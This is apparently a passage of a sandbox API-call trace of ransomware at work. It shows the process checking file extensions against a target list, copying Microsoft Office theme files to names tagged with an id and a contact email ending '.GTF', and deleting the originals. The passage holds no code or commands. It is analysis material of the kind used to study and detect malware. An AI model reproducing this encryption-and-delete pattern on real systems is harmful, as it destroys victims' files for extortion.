	[0165.761] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString=".7z") returned 3
	[0165.761] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.761] lstrlenW (lpString=".dbf") returned 4
	[0165.761] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.761] lstrlenW (lpString=".1cd") returned 4
	[0165.761] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.761] lstrlenW (lpString=".jpg") returned 4
	[0165.761] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.761] lstrlenW (lpString=".doc") returned 4
	[0165.761] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString=".docx") returned 5
	[0165.761] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.761] lstrlenW (lpString=".pdf") returned 4
	[0165.761] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString=".xls") returned 4
	[0165.761] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString=".xlsx") returned 5
	[0165.761] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.761] lstrlenW (lpString=".ppt") returned 4
	[0165.761] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.761] lstrlenW (lpString=".zip") returned 4
	[0165.761] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString=".rar") returned 4
	[0165.761] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString=".bz2") returned 4
	[0165.761] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.762] lstrlenW (lpString=".7z") returned 3
	[0165.762] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.762] lstrlenW (lpString=".dbf") returned 4
	[0165.762] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.762] lstrlenW (lpString=".1cd") returned 4
	[0165.762] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.762] lstrlenW (lpString=".jpg") returned 4
	[0165.762] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.762] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.762] lstrlenW (lpString="Glow Edge.eftx") returned 14
	[0165.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0165.918] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=54347) returned 1
	[0165.918] CloseHandle (hObject=0x558) returned 1
	[0165.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220
	[0165.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0165.919] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.919] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0165.920] GetLastError () returned 0x0
	[0165.920] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0xd44b, lpOverlapped=0x0) returned 1
	[0165.923] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xd450, lpOverlapped=0x0) returned 1
	[0165.925] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.925] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0165.925] SetEndOfFile (hFile=0x528) returned 1
	[0165.925] CloseHandle (hObject=0x528) returned 1
	[0165.925] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.925] SetEndOfFile (hFile=0x558) returned 1
	[0165.928] CloseHandle (hObject=0x558) returned 1
	[0165.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1
	[0165.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.929] lstrlenW (lpString=".doc") returned 4
	[0165.929] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.929] lstrlenW (lpString=".docx") returned 5
	[0165.929] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.929] lstrlenW (lpString=".pdf") returned 4
	[0165.930] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".xls") returned 4
	[0165.930] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".xlsx") returned 5
	[0165.930] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.930] lstrlenW (lpString=".ppt") returned 4
	[0165.930] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.930] lstrlenW (lpString=".zip") returned 4
	[0165.930] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".rar") returned 4
	[0165.930] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".bz2") returned 4
	[0165.930] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".7z") returned 3
	[0165.930] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.930] lstrlenW (lpString=".dbf") returned 4
	[0165.930] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.930] lstrlenW (lpString=".1cd") returned 4
	[0165.930] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.930] lstrlenW (lpString=".jpg") returned 4
	[0165.930] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.930] lstrlenW (lpString=".doc") returned 4
	[0165.930] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".docx") returned 5
	[0165.930] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.930] lstrlenW (lpString=".pdf") returned 4
	[0165.930] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".xls") returned 4
	[0165.930] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.930] lstrlenW (lpString=".xlsx") returned 5
	[0165.931] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.931] lstrlenW (lpString=".ppt") returned 4
	[0165.931] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.931] lstrlenW (lpString=".zip") returned 4
	[0165.931] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.931] lstrlenW (lpString=".rar") returned 4
	[0165.931] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.931] lstrlenW (lpString=".bz2") returned 4
	[0165.931] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.931] lstrlenW (lpString=".7z") returned 3
	[0165.931] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.931] lstrlenW (lpString=".dbf") returned 4
	[0165.931] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.931] lstrlenW (lpString=".1cd") returned 4
	[0165.931] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0165.931] lstrlenW (lpString=".jpg") returned 4
	[0165.931] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.931] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.931] lstrlenW (lpString="Inset.eftx") returned 10
	[0165.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0165.932] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=44971) returned 1
	[0165.932] CloseHandle (hObject=0x558) returned 1
	[0165.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220
	[0165.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0165.932] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.932] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0165.933] GetLastError () returned 0x0
	[0165.933] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0xafab, lpOverlapped=0x0) returned 1
	[0165.936] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xafb0, lpOverlapped=0x0) returned 1
	[0165.937] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.937] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0165.938] SetEndOfFile (hFile=0x528) returned 1
	[0165.938] CloseHandle (hObject=0x528) returned 1
	[0165.938] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.938] SetEndOfFile (hFile=0x558) returned 1
	[0165.941] CloseHandle (hObject=0x558) returned 1
	[0165.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1
	[0165.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.944] lstrlenW (lpString=".doc") returned 4
	[0165.944] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString=".docx") returned 5
	[0165.944] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.944] lstrlenW (lpString=".pdf") returned 4
	[0165.944] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString=".xls") returned 4
	[0165.944] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString=".xlsx") returned 5
	[0165.944] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.944] lstrlenW (lpString=".ppt") returned 4
	[0165.944] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.944] lstrlenW (lpString=".zip") returned 4
	[0165.944] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString=".rar") returned 4
	[0165.944] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString=".bz2") returned 4
	[0165.944] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString=".7z") returned 3
	[0165.944] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.944] lstrlenW (lpString=".dbf") returned 4
	[0165.944] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.944] lstrlenW (lpString=".1cd") returned 4
	[0165.945] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.945] lstrlenW (lpString=".jpg") returned 4
	[0165.945] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.945] lstrlenW (lpString=".doc") returned 4
	[0165.945] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString=".docx") returned 5
	[0165.945] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.945] lstrlenW (lpString=".pdf") returned 4
	[0165.945] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString=".xls") returned 4
	[0165.945] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString=".xlsx") returned 5
	[0165.945] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.945] lstrlenW (lpString=".ppt") returned 4
	[0165.945] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.945] lstrlenW (lpString=".zip") returned 4
	[0165.945] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString=".rar") returned 4
	[0165.945] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString=".bz2") returned 4
	[0165.945] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString=".7z") returned 3
	[0165.945] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.945] lstrlenW (lpString=".dbf") returned 4
	[0165.945] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.945] lstrlenW (lpString=".1cd") returned 4
	[0165.945] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0165.945] lstrlenW (lpString=".jpg") returned 4
	[0165.945] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.946] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.946] lstrlenW (lpString="Milk Glass.eftx") returned 15
	[0165.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0165.946] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=46403) returned 1
	[0165.946] CloseHandle (hObject=0x558) returned 1
	[0165.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220
	[0165.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0165.947] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.947] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0165.947] GetLastError () returned 0x0
	[0165.947] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0xb543, lpOverlapped=0x0) returned 1
	[0165.950] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xb550, lpOverlapped=0x0) returned 1
	[0165.952] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.952] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0165.952] SetEndOfFile (hFile=0x528) returned 1
	[0165.952] CloseHandle (hObject=0x528) returned 1
	[0165.952] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.952] SetEndOfFile (hFile=0x558) returned 1
	[0166.259] CloseHandle (hObject=0x558) returned 1
	[0166.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1
	[0166.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.260] lstrlenW (lpString=".doc") returned 4
	[0166.260] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString=".docx") returned 5
	[0166.261] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.261] lstrlenW (lpString=".pdf") returned 4
	[0166.261] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString=".xls") returned 4
	[0166.261] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString=".xlsx") returned 5
	[0166.261] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.261] lstrlenW (lpString=".ppt") returned 4
	[0166.261] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.261] lstrlenW (lpString=".zip") returned 4
